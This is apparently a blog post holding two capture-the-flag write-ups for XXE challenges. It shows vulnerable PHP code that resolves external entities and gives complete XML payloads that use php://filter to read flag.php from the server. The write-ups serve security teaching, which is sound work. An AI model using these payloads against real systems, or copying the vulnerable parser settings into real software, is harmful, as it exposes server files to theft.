有回显XXE

[题目信息]:

题目名称题目难度
有回显XXE1

[题目考点]:

1. xxe有回显利用

[Flag格式]:

SangFor{jijTlGX&R4pdUEDi5tiFiL4Q2QwIuGj3}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

docker-compose up -d

[题目writeup]:

1、实验主页

2、代码分析

<?php
    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input'); #1
    $dom = new DOMDocument();
    if($xmlfile){
        $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);                                 #2
        $result = simplexml_import_dom($dom);
        echo $result;
    }
    else{
        show_source(__FILE__);
    }
?>

关键行#1,存在file_get_contents()函数和php://input伪协议。可以通过POST传入自定义值给变量$xmlfile赋值。

关键行#2,$xmlfile变量通过loadXML函数被解析。

尝试访问flag.php文件,文件存在。

利用xml构造外部实体,通过POST传入,读取passwd文件

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE everything [  
<!ENTITY SangFor SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php"> ]> 
<everything>&SangFor;</everything>

Base64解码










[题目信息]:

题目名称题目难度
有回显XXE-021

[题目考点]:

1. xxe有回显利用

[Flag格式]:

SangFor{pI5aH9AikmGrjGr3d2neYlAfSpR2Avo-}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

docker-compose up -d

[题目writeup]:

1、实验主页

2、填写对应字段,使用Burp进行抓包。

从响应包中可以看出,邮件字段为回显字段

3、利用xml构造实体,通过Burp传入,验证邮件字段回显

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE root [  
<!ENTITY SangFor "test_"> ]> <root><name>123123qwe</name><tel>123123</tel><email>&SangFor;</email><password>123123</password></root>

4、利用xml构造外部实体,通过Burp传入,读取flag.php文件

flag.php文件存在

5、读取flag.php文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
	<!ENTITY Sangfor SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
]>
<root><name>111</name><tel>222</tel><email>&Sangfor;</email><password>333</password></root>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值